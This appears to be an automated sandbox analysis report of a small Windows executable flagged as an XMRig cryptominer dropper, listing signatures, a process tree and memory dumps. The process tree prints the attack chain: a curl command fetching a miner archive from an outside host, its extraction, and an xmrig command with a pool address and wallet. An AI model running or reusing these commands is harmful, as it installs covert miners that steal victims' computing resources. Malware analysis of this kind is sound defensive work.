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13/03/2024, 08:45
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240312-wf31fahd5810Analysis
- max time kernel
1194s - max time network
1203s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/03/2024, 08:43
General
- Target test - Copy - Copy (3) - Copy.exe
- Size 6KB
- Sample240313-kms82aah48
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 64 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (3) - Copy.exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (3) - Copy.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BE3Y78Z5.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3692 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:81⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4152 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
BE3Y78Z5.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/224-55-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-59-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-92-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-91-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-90-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-26-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-27-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-28-0x000001A1942D0000-0x000001A1942F0000-memory.dmp
memory/224-56-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-30-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-31-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-32-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-33-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-34-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-35-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-36-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-37-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-38-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-39-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-40-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-41-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-42-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-43-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-44-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-45-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-58-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-47-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-49-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-50-0x000001A1942D0000-0x000001A1942F0000-memory.dmp
memory/224-51-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-52-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-53-0x000001A1942F0000-0x000001A194310000-memory.dmp
memory/224-54-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-24-0x000001A194160000-0x000001A194180000-memory.dmp
memory/224-29-0x000001A1942F0000-0x000001A194310000-memory.dmp
memory/224-25-0x000001A1942B0000-0x000001A1942D0000-memory.dmp
memory/224-46-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-57-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-60-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-61-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-62-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-63-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-64-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-65-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-66-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-67-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-68-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-69-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-70-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-71-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-72-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-73-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-74-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-75-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-76-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-77-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-78-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-79-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-80-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-81-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-82-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-83-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-84-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-85-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-86-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-87-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-88-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/224-89-0x00007FF7D81B0000-0x00007FF7D8CB4000-memory.dmp
memory/1128-19-0x00007FFED6F30000-0x00007FFED79F1000-memory.dmp
memory/1128-5-0x00007FFED6F30000-0x00007FFED79F1000-memory.dmp
memory/1128-0-0x0000000000920000-0x0000000000928000-memory.dmp
memory/1128-23-0x00007FFED6F30000-0x00007FFED79F1000-memory.dmp